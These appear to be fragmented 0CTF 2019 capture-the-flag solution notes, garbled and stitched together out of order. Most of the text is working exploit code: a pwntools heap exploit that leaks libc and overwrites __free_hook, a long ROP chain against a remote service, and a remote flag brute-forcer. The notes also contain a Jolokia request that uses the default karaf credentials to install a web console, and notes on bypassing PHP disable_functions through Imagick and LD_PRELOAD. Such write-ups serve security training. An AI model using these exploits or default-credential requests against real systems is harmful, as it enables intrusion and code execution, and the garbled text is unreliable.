ss.new("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB") var change = [1,2,3] for i (0..10) ss.new("A") for i (0..10) ss.new("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") for i (0..10) ss.new("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") System.gc() change[-0x42] = 0x3ffdb07d2cb813c5 ''' p.recvrepeat(0.1) p.sendline(payload1) p.recvrepeat(0.1) payload2 = '''System.print(m.toString.byteAt_(0x8c0)) System.print(m.toString.byteAt_(0x8c1)) System.print(m.toString.byteAt_(0x8c2)) System.print(m.toString.byteAt_(0x8c3)) System.print(m.toString.byteAt_(0x8c4)) System.print(m.toString.byteAt_(0x8c5)) System.print(m.toString.byteAt_(0x8c6)) System.print(m.toString.byteAt_(0x8c7))'''.split('\n') libc = '' for i in payload2: p.sendline(i.strip()) libc = hex(int(p.recvrepeat(0.2).replace('>','').replace('\n','').strip()))[2:] + libc # print hex(int()) libc = int('0x'+libc,16) libc = libc - 4111536 print 'libc,',hex(libc) payload3 = '''System.print(m.toString.byteAt_(0x40)) System.print(m.toString.byteAt_(0x41)) System.print(m.toString.byteAt_(0x42)) System.print(m.toString.byteAt_(0x43)) System.print(m.toString.byteAt_(0x44)) System.print(m.toString.byteAt_(0x45)) System.print(m.toString.byteAt_(0x46)) System.print(m.toString.byteAt_(0x47))'''.split('\n') heap = '' for i in payload3: p.sendline(i.strip()) heap = hex(int(p.recvrepeat(0.2).replace('>','').replace('\n','').strip()))[2:] + heap heap = int('0x'+heap,16) print hex(heap) heap = heap - 94850 print 'heap,',hex(heap) # raw_input() payload4 = ''' var cc = ss.new("AAAAAAAAAAAAAAA") var dd = ss.new("AAAAAAAAAAAAAAA") var ee = ss.new("AAAAAAAAAAAAAAA") var ff = ss.new("AAAAAAAAAAAAAAA") var gg = ss.new("AAAAAAAAAAAAAAA") var hh = ss.new("AAAAAAAAAAAAAAA") change[-0x16d4] = "AAAAAAAAAAAAAAAA" ''' p.sendline(payload4) p.recvrepeat(0.1) # p.interactive() __free_hook = libc + 4118760 Reverse Elements 1. 256 b input 2. tolower() 3. strlen() < 0x2C, beginwith('flag{'), input[43] = '{' 4. input[5:].split('-') -> 12b 5. trans 5.1.decode hex 5.2.ret391BC2164F0A 5.3.ret xmmword_400BD0xmmword_400BE0 5.4.shuffle(, 01001110b) + SRC X3 X2 X1 X0 DEST X1 X0 X3 X2 6. trans[1] > trans[0] & trans[2] > trans[1] & trans[0] + trans[1] > trans[2] --> trans[2] > trans[1] > trans[0] trans[0] + trans[1] > trans[2] 2 * trans[1] > trans[2] > trans[1] trans[0] > 0 7. S = 8. i. 2S / (a+b+c) = t1 ii. abc / 4S = t2 iii. S = 1/2bcsinA ii * 4 * iii. --> sinA / a = 1/(2t2) sinA, a, t1, t2 a^2 = b^2 + c^2 - 2bccosA bcsinA / (a+b+c) = t1 9. a = struct.unpack('!d', '42CC8DE10B278500'.decode('hex'))[0] t1 = -struct.unpack('!d', 'C2B1A4FF41C1018B'.decode('hex'))[0] t2 = -struct.unpack('!d', 'C2C5B939050828F4'.decode('hex'))[0] 10. sinA = a/(2t2) = 0.6572186933851744 cosA = sqrt(1 - sinA * sinA) = 0.7536999330403873 b(c) = 70802074077032.94 -- 4064e4798768 c(b) = 95523798483318.1 -- 56e0de138176 payload5 = '' payload5 = "X"*0x20 + p64(__free_hook-0x98)[:6] # payload5 = payload5.ljust(0xe0,"X") payload5 = 'ss.new("%s")'%(payload5) p.sendline(payload5) p.recvrepeat(0.1) # raw_input() payload6 = 'var nn = "%s"'%('Q'*0x80) p.sendline(payload6) print 'magic,',hex(libc+0x4f313) raw_input() # 0x4f2c5 payload7 = 'var ll = "%s"'%('A'*0x78+p64(libc+0x4f313)[:6]) p.sendline(payload7) p.interactive() Fixed Point http://111.186.63.17/fixed_point 38 flag{} hex sscanf 0x555555554000 4096Init_array crc = (crc >> 8) ^ k[crc & 0xff ^ flag[i]] 16bit ↑ tmcrc128 https://github.com/glua-team-ctf/googlectf-quals-2017/blob/master/crypto/introspective-crc/REA DME.md crcdiff/ unsigned long long a = 0xFFFFFFFFFFFFFFFFuLL; unsigned long long b = 0xFFFFFFFFFFFFFFFFuLL; int i = 0; do { char f = flag[i++]; unsigned long long * p = (arr + 16 * (unsigned char)(a ^ f)); unsigned long long x = (a >> 8) ^ *p; a = x; unsigned long long y = (b >> 8) ^ *(p+1); b = y; } while (i != 22) data = [0]*0x100 v = 1 v1 = 128 for v0 in range(8,0,-1): v4 = v & 1 v >>= 1 if v4: v ^= 0xB595CF9C8D708E2166D545CF7CFDD4F9 for i in range(0,256,2*v1): data[i+v1] = data[i] ^ v v1 >>= 1 import z3 import numpy as np crctable = [0]*0x100 def genCrc128Table(): v = 1 v1 = 128 for v0 in range(8,0,-1): v4 = v & 1 v >>= 1 if v4: v ^= 0xB595CF9C8D708E2166D545CF7CFDD4F9 for i in range(0,256,2*v1): crctable[i+v1] = crctable[i] ^ v v1 >>= 1 def doCrc128(s): crc = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF for c in s: crc = ((crc >> 8) ^ crctable[(crc ^ c) & 0xff]) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF return crc def padleft(x): return "0" * (128 - len(x)) + x def main(): # x = crc128('flag{' + x) flag_template = [ord(c) for c in "flag{" + '\x00' * 16 + '}'] k = doCrc128(flag_template) def crcdiff(x): return (doCrc128(x) ^ k) D = [0] * 128 for j,i in enumerate(range(127, -1, -1)): # msb _cur_template = list(flag_template) _cur_template[5 + i // 8] |= 1 << (i % 8) #print "encoding:" + str(_cur_template) D[j] = crcdiff(_cur_template) D_ = "[" + ','.join(['['+ ','.join(list(padleft(bin(c)[2:]))) + ']' for c in D]) + ']' # msb print D_ print "[" + ','.join(list(padleft(bin(k)[2:]))) + ']' # msb ''' D_ = np.array([[int(i) for i in list(padleft(bin(c)[2:]))] for c in D]) D_.transpose() A_ = D_ for i in range(128): A_[i][i] = (A_[i][i] + 1) % 1 k_ = [int(i) for i in list(padleft(bin(k)[2:]))] s = z3.Solver() x = [z3.BitVec('x'+str(i), 1) for i in range(128)] for i,row in enumerate(A_): ret = None for j,c in enumerate(row): if ret is None: ret = z3.BitVecVal(c, 1) * x[j] else: ret += z3.BitVecVal(c, 1) * x[j] s.add(ret == k_[i]) print s.check(), s.unsat_core() print s.model() ''' def check(s): flag_template = [ord(c) for c in "flag{" + '\x00' * 16 + '}'] _k = doCrc128(flag_template) out = [0] * 16 k = _k j = 0 for i in range(127, -1, -1): _cur_template = list(flag_template) _cur_template[5 + i // 8] |= 1 << (i % 8) if s[j] == 1: out[i // 8] |= 0x80 >> (i % 8) k ^= (doCrc128(_cur_template) ^ _k) j += 1 return k == doCrc128([ord(c) for c in "flag{"] + out + [ord('}')]) def crc(s): return doCrc128([ord(c) for c in s]) def check_flag(s): # lsb first return crc("flag{" + s + '}') == int(s.decode('hex')[::-1].encode('hex'), 16) if __name__ == '__main__': genCrc128Table() #print check((1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1)) #print check_flag("3cb2b8ad126784aeb76bffad5eda4dbf") #print crc("flag{" + '\x00' * 15 + '\x01' + '}') == crc("flag{" + '\x00' * 16 + '}') ^ (crc("flag{" + '\x00' * 15 + '\x01' + '}') ^ crc("flag{" + '\x00' * 16 + '}')) main() Dk sage LSB sanitize Help me to find lost flag. http://111.186.63.17/sanitize.tar.gz nc 111.186.63.16 20193 __sancov_guards addOne+1 flag https://clang.llvm.org/docs/SanitizerCoverage.html Flag Flag Flag Flag ↑49 F = GF(2) D = Matrix(F, {D}) A = D + identity_matrix(F, 128) b = vector(F, {k}) A.transpose().solve_right(b) def set2hex(s): binstr = ''.join([str(c) for c in s]) return ''.join([chr(int(''.join(c),2)) for c in grouper(binstr, 8)]).encode('hex') set2hex() # MSB set2hex().decode('hex')[::-1].encode('hex') # LSB char c; int depth; node * miaomiaomiao; node * left; node * right; ABCEDFGH flag 0ctftrace 17{ } 14 <A(32), 5> / <a(0), 4> / \ <i(8), 3> <q(16), 3> / \ / \ <m(12), 2> <e(4), 2> <u(20), 2> <C(34), 2> / \ / \ / \ <o(14), 1> <k(10), 1> 6 2 22 18 / \ / \ / \ / \ 15 13 11 9 7 5 3 1 0 / 4 8 / \ / \ 6 2 10 (0) 12 / \ / \ / \ / \ 7 5 3 1 11 9 13 (8) char c; int height; node * higher_level; node * lower_level; node * brother; from pwn import * #p = process('./sanitize') Web Ghost Pepper Ghost Pepper Do you know ghost pepper? Let's eat. http://111.186.63.207:31337 /karaf/karaf 404 jetty http://111.186.63.207:31337/jolokia http://111.186.63.207:31337/jolokia/list #flag = 'flag{fr0M_C0vEr4ge_To_Fl4G_And_Enj0Y_0cTF_2Ol9}' flag = 'flag{' for ll in xrange(len(flag), 49): r = 0 for c in xrange(32, 128): p = remote('111.186.63.16', 20193) ff = chr(c) * 14 p.sendline(ff) p.sendline('3') #for i in xrange(3): # p.sendline(str(i)) p.sendline(str(ll)) p.sendline('4') p.sendline('48') data = p.recvline() d = [] for i in xrange(82): d.append(u32(data[i*8:i*8+8].decode('hex'))) #print i, hex(d[i]) print chr(c), d[38], d[39] if (r == 0): r = d[38] if (r != d[38]): flag += chr(c) print flag break c+=1 p.close() karaf, jolokia installFeature, webconsole WebConsoleflag POST http://111.186.63.207:31337/jolokia/exec HTTP/1.1 Authorization: Basic a2FyYWY6a2FyYWY= content-type: application/json { "type": "EXEC", "mbean": "org.apache.karaf:name=root,type=feature", "operation": "installFeature(java.lang.String)", "arguments": ["webconsole"] } HTTP/1.1 200 OK Date: Mon, 25 Mar 2019 09:34:51 GMT Content-Type: text/plain;charset=utf-8 Cache-Control: no-cache Pragma: no-cache Expires: Mon, 25 Mar 2019 08:34:51 GMT Connection: close Server: Jetty(9.3.24.v20180605) { "request": { "mbean": "org.apache.karaf:name=root,type=feature", "arguments": [ "webconsole" ], "type": "exec", "operation": "installFeature(java.lang.String)" }, "value": null, "timestamp": 1553506491, "status": 200 } Wallbreaker Easy http://111.186.63.208:31340 dis_fun: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopp ed,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl _wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_ge t_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimed wait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system ,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mai l PHP bypass disable_function imagick imagick module enabled imagick module version 3.4.3RC2 imagick classes Imagick, ImagickDraw, ImagickPixel, ImagickPixelIterator, ImagickKernel Imagick compiled with ImageMagick version ImageMagick 6.9.7-4 Q16 x86_64 20170114 http://www.imagemagick.org Imagick using ImageMagick library version ImageMagick 6.9.7-4 Q16 x86_64 20170114 http://www.imagemagick.org ImageMagick copyright © 1999-2017 ImageMagick Studio LLC ImageMagick release date 20170114 ImageMagick number of supported formats: 220 ImageMagick supported formats 3FR, AAI, AI, ART, ARW, AVI, AVS, BGR, BGRA, BGRO, BIE, BMP, BMP2, BMP3, BRF, CAL, CALS, CANVAS, CAPTION, CIN, CIP, CLIP, CMYK, CMYKA, CR2, CRW, CUR, CUT, DATA, DCM, DCR, DCX, DDS, DFONT, DNG, DPX, DXT1, DXT5, EPDF, EPI, EPS, EPS2, EPS3, EPSF, EPSI, EPT, EPT2, EPT3, ERF, FAX, FILE, FITS, FRACTAL, FTP, FTS, G3, G4, GIF, GIF87, GRADIENT, GRAY, GROUP4, H, HALD, HDR, HISTOGRAM, HRZ, HTM, HTML, HTTP, HTTPS, ICB, ICO, ICON, IIQ, INFO, INLINE, IPL, ISOBRL, ISOBRL6, JBG, JBIG, JNG, JNX, JPE, JPEG, JPG, JPS, JSON, K25, KDC, LABEL, M2V, M4V, MAC, MAGICK, MAP, MASK, MAT, MATTE, MEF, MIFF, MKV, MNG, MONO, MOV, MP4, MPC, MPEG, MPG, MRW, MSL, MTV, MVG, NEF, NRW, NULL, ORF, OTB, OTF, PAL, PALM, PAM, PATTERN, PBM, PCD, PCDS, PCL, PCT, PCX, PDB, PDF, PDFA, PEF, PES, PFA, PFB, PFM, PGM, PICON, PICT, PIX, PJPEG, PLASMA, PNG, PNG00, PNG24, PNG32, PNG48, PNG64, PNG8, PNM, PPM, PREVIEW, PS, PS2, PS3, PSB, PSD, PTIF, PWP, RADIAL-GRADIENT, RAF, RAS, RAW, RGB, RGBA, RGBO, RGF, RLA, RLE, RMF, RW2, SCR, SCT, SFW, SGI, SHTML, SIX, SIXEL, SPARSE-COLOR, SR2, SRF, STEGANO, SUN, TEXT, TGA, THUMBNAIL, TIFF, TIFF64, TILE, TIM, TTC, TTF, TXT, UBRL, UBRL6, UIL, UYVY, VDA, VICAR, VID, VIFF, VIPS, VST, WBMP, WMV, WPG, X, X3F, XBM, XC, XCF, XPM, XPS, XV, XWD, YCbCr, YCbCrA, YUV imagickdisable_function ghostscript1dayimagick0day putenv()Linux bypass_disablefunc_via_LD_PRELOAD mail()imagick scanfUBUNTU1604 <?php $im = new imagick('test.pdf[0]' ); $im->setImageColorspace(255); $im->setCompression(Imagick::COMPRESSION_JPEG); $im->setCompressionQuality(100); $im->setImageFormat('pdf'); $im->writeImage('thumb.jpg'); ?> (path) UBUNTU1804() UBUNTU1804IM /etc/ImageMagick- 6/policy.xml PSEPIPDFXPSgs delegates https://github.com/ImageMagick/ImageMagick/blob/06e45a6745f6bed140e46d0dadedf796e5dcd 9e6/www/source/delegates.xml delegatescommand Imagick so LD_PRELOAD flag Crypto babyrsa Polynomial based RSA. n R.<a> = GF(2^2049) P=PolynomialRing(GF(2),'x') n = P('xxx') MISC flropyd ROPseccompexitROP .jpg update1: you can download libc here update2: md5(libc.so.6) == 50390b2ae8aaa73c47745040f54e602f p, q = factor(n) p, q = p[0], q[0] phi_n = (2^p.degree() - 1)*(2^q.degree()-1) d = inverse_mod(e, phi_n) e = 31337 m = "aaaaaaaaaaaaaaaa" m_int = Integer(m.encode('hex'), 16) m_poly = R.fetch_int(m_int) m_poly = P(m_poly) c_poly = pow(m_poly, e, n) mmm = pow(c_poly, d, n) print format(R(mmm).integer_representation(), '0256x') c_int = R(c_poly).integer_representation() c = format(c_int, '0256x') from pwn import * #p=process('./flropyd') p=remote('111.186.63.203', 6666) p.recvuntil('ress: 0x') addr = int(p.recvuntil('\n')[:-1],16) libc_base = addr-(0x7f6bd9720070- 0x7f6bd9689000) info("libc:0x%x",libc_base) raw_input() ret = 0x00000000000008aa +libc_base pop_rdx = 0x0000000000001b96 +libc_base lea_rax = 0x0000000000145c98 +libc_base# mov rax, qword ptr [rax] ; ret pop_rax = 0x00000000000439c8 +libc_base sete = 0x00000000000306d5 +libc_base setne = 0x0000000000089378 +libc_base pop_r12 = 0x0000000000023992 +libc_base pop_rbx = 0x000000000002cb49 +libc_base pop_rcx = 0x000000000003eb0b +libc_base mov_rdi_rsp_call_rdx = 0x000000000015c4ce+libc_base rax_2 = 0x00000000000d0df7 +libc_base addraxrcx=0x00000000000ab9f8 +libc_base#: add rax, rcx ; ret addraxrdi=0x00000000000a8473 +libc_base# : add rax, rdi ; ret movrspr8= 0x000000000003eca9 +libc_base #: mov rsp, r8 ; mov rbp, r9 ; nop ; jmp rdx movr8rax= 0x0000000000106899 +libc_base#: mov r8, rax ; call r12 xorrax = 0x00000000000b17c5 +libc_base#: xor rax, rax ; ret #0x00000000000586ed : mov rax, rdi ; ret #0x00000000001404f5 : sal esi, cl ; ret leardx = 0x000000000003093c +libc_base# : mov qword ptr [rdx], rax ; ret pop_rdi = 0x000000000002155f +libc_base#: pop rdi ; ret salbl = 0x00000000000d0bdf +libc_base#: sal bl, 1 ; ret salsi = 0x00000000001404f5 +libc_base#: sal esi, cl ; ret movaxbx =0x0000000000043ce7 +libc_base#: mov rax, rbx ; pop rbx ; ret movbxax = 0x0000000000133226 +libc_base# : mov rbx, rax ; mov rax, rbx ; pop rbx ; pop rbp ; ret subaxcx = 0x00000000000a9e4c +libc_base#: sub eax, ecx ; ret leardi = 0x00000000001011aa +libc_base#: mov qword ptr [rdx], rdi ; ret cmpaxbx = 0x000000000010ea12 +libc_base#: cmp rax, rbx ; seta al ; pop rbx ; ret pop_r15 = 0x000000000002155e +libc_base#: pop r15 ; ret pop_rsi = 0x0000000000023e6a +libc_base#: pop rsi; ret; pop_r14 = 0x0000000000023e69+libc_base movsibx = 0x000000000011df81+libc_base# : mov esi, ebx ; mov rdi, r13 ; call r14 addaxsi = 0x00000000000ac21c+libc_base# : add rax, rsi ; ret salsi = 0x00000000001404f5 +libc_base#: sal esi, cl ; ret salbx = 0x00000000001180fe +libc_base#: sal ebx, 1; ret; addaxbx = 0x0000000000131be6+libc_base#: add rax, rbx; pop rbx; pop rbp; pop r12; pop r13; ret; leaaxdi = 0x0000000000097055+libc_base#: mov qword ptr [rax], rdi; ret; movbxdx = 0x000000000005d3b8+libc_base#: mov ebx, edx; jmp rax; movdxax = 0x00000000001415dd+libc_base#: mov rdx, rax; ret; rop = 'a'*0x18 rop+= p64(pop_rax) rop+= p64(0x602060)#k rop+= p64(lea_rax)#N rop+= p64(pop_rdx) rop+= p64(0x61afc0)#j rop+= p64(leardx) rop+= p64(pop_rdx) rop+= p64(0x61afc8)#i rop+= p64(leardx) rop+= p64(leardx) rop+= p64(pop_rdx) rop+= p64(0x61afe0)#backup rop+= p64(leardx) ###start rop+= p64(pop_rdx) rop+= p64(pop_rdx) rop+= p64(mov_rdi_rsp_call_rdx)# <-rsp rop+= p64(pop_rdx) rop+= p64(0x61af70)#sp rop+= p64(leardi) #loop1 #0x0000000000023e69 : pop r14 ; ret rop+= p64(pop_rax)#<-+24 tmp1 = rop rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(2416) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(3072) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(3728) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61afc0)#j rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(pop_r14) rop+= p64(pop_r15) rop+= p64(movsibx)#336 tmp2 = rop print "tmp2:" print len(tmp2)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(336) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movsibx) rop+= p64(leaaxdi) rop+= p64(pop_rcx) rop+= p64(6) rop+= p64(salsi) rop+= p64(pop_rax) rop+= p64(0x602060)#k rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(addaxsi) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(pop_rax) rop+= p64(0x602068)#W rop+= p64(addaxbx) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(pop_rdx) rop+= p64(0x61af00)#W[(j << 6) + k] rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61afc8)#i rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(addaxsi) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(pop_rax) rop+= p64(0x602068)#W rop+= p64(addaxbx) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(pop_rdx) rop+= p64(0x61af08)##W[(j << 6) + i] rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61afc8)#i rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(pop_r14) rop+= p64(pop_r15) rop+= p64(movsibx) tmp3 = rop print "tmp3" print len(tmp3)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(920) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movsibx) rop+= p64(leaaxdi) #------------------------------------------------------- rop+= p64(pop_rcx) rop+= p64(6) rop+= p64(salsi) rop+= p64(pop_rax) rop+= p64(0x602060)#k rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(addaxsi) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(salbx) rop+= p64(pop_rax) rop+= p64(0x602068)#W rop+= p64(addaxbx) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(pop_rdx) rop+= p64(0x61af10)#W[(i << 6) + k] rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61af08)#W[(j << 6) + i] rop+= p64(lea_rax) rop+= p64(lea_rax)#W[(j << 6) + i] rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(pop_rax) rop+= p64(0x61af10)#W[(i << 6) + k] rop+= p64(lea_rax) rop+= p64(lea_rax)#W[(i << 6) + k] rop+= p64(addaxbx) rop+= p64(0) rop+= p64(0) rop+= p64(0) rop+= p64(0)# W[(i << 6) + k]+W[(j << 6) + i] #leardx = 0x000000000003093c +libc_base# : mov qword ptr [rdx], rax ; ret rop+= p64(pop_rdx) rop+= p64(0x61af20) rop+= p64(leardx) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(pop_rax) rop+= p64(0x61af00)#W[(j << 6) + k] rop+= p64(lea_rax) rop+= p64(lea_rax)#W[(j << 6) + k] #if W[(j << 6) + k] > W[(j << 6) + i] + W[(i << 6) + k] setbe =0x0000000000125180+libc_base#: setbe al; ret; rop+= p64(cmpaxbx) rop+= p64(0) rop+= p64(pop_rax) rop+= p64(0) rop+= p64(setbe) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(movaxbx) rop+= p64(0) rop+= p64(pop_rdx) rop+= p64(pop_r15) rop+= p64(pop_r12) rop+= p64(pop_r15) rop+= p64(mov_rdi_rsp_call_rdx)#1520->1584->1608 tmp4 = rop print "tmp4" print len(tmp4)-len(tmp1)+24 #------------------------------------------ rop+= p64(pop_rcx)# <-rsp rop+= p64(8*8) rop+= p64(addraxrcx) rop+= p64(addraxrdi) rop+= p64(movr8rax)#1560->1624->1648 tmp5 = rop print "tmp5" print len(tmp5)-len(tmp1)+24 rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #W[k + (j << 6)] = W[(i << 6) + k] + W[(j << 6) + i]; leasi = 0x0000000000052419+libc_base#: mov rsi, qword ptr [rsi + 0x70]; xor eax, eax; ret; leasiax = 0x000000000008995a+libc_base#: mov qword ptr [rsi], rax; xor eax, eax; ret; leadidx = 0x00000000000a815f +libc_base#: mov qword ptr [rdi], rdx ; ret rop+= p64(pop_rsi) rop+= p64(0x61af00-0x70)#W[(j << 6) + k] rop+= p64(leasi) leadiax = 0x00000000000586ea +libc_base#: mov qword ptr [rdi], rax ; mov rax, rdi ; ret leadxax = 0x000000000003093c +libc_base#: mov qword ptr [rdx], rax ; ret #####0x61af20 rop+= p64(pop_rax) rop+= p64(0x61af20) rop+= p64(lea_rax) rop+= p64(leasiax) rop+= p64(ret) #rop+= p64(movaxbx) #rop+= p64(0) #rop+= p64(leasiax) #rop+= p64(ret) #rop+= p64(ret) #W[k + (j << 6)] = W[(i << 6) + k] + W[(j << 6) + i]; ##J1 rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(1608) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(mov_rdi_rsp_call_rdx) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(1648) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_r12) rop+= p64(pop_r15) rop+= p64(pop_rdx) rop+= p64(pop_r15) rop+= p64(mov_rdi_rsp_call_rdx)#1832->1896->1920 tmp6 = rop print "tmp6" print len(tmp6)-len(tmp1)+24 # <-rsp rop+= p64(pop_rax) rop+= p64(0x602060)#k rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(pop_rdx) rop+= p64(0x602060)#k rop+= p64(leardx) rop+= p64(pop_rdx) rop+= p64(pop_rdx) rop+= p64(pop_rbx) rop+= p64(0) rop+= p64(cmpaxbx) rop+= p64(0) rop+= p64(sete) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(movaxbx) rop+= p64(0) rop+= p64(pop_rcx) rop+= p64((36+19)*8) rop+= p64(addraxrcx) rop+= p64(addraxrdi) rop+= p64(movr8rax)#2096->2168->2192 tmp7 = rop print "tmp7" print len(tmp7)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(2192) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(1920) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(mov_rdi_rsp_call_rdx) rop+= p64(leaaxdi) rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #---loop1 rop+= p64(pop_rax)#<-28 rop+= p64(0x61af70) rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(32-8) rop+= p64(addraxrcx) rop+= p64(movr8rax)#2320->2392->2416 tmp8 = rop print "tmp8" print len(tmp8)-len(tmp1)+24 rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) ####j2-------------------------------------------------- rop+= p64(pop_r12) rop+= p64(pop_r15) rop+= p64(pop_rdx) rop+= p64(pop_r15) rop+= p64(mov_rdi_rsp_call_rdx)#2432->2504->2528 tmp9 = rop print "tmp9" print len(tmp9)-len(tmp1)+24 rop+= p64(pop_rax)# <-rsp rop+= p64(0x61afc0)#j rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(pop_rdx) rop+= p64(0x61afc0)#j rop+= p64(leardx) rop+= p64(pop_rdx) rop+= p64(pop_rdx) rop+= p64(pop_rbx) rop+= p64(0) rop+= p64(cmpaxbx) rop+= p64(0) rop+= p64(sete) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(movaxbx) rop+= p64(0) rop+= p64(pop_rcx) rop+= p64((36+19)*8) rop+= p64(addraxrcx) rop+= p64(addraxrdi) rop+= p64(movr8rax)#2696->2776->2800 tmp10 = rop print "tmp10" print len(tmp10)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= 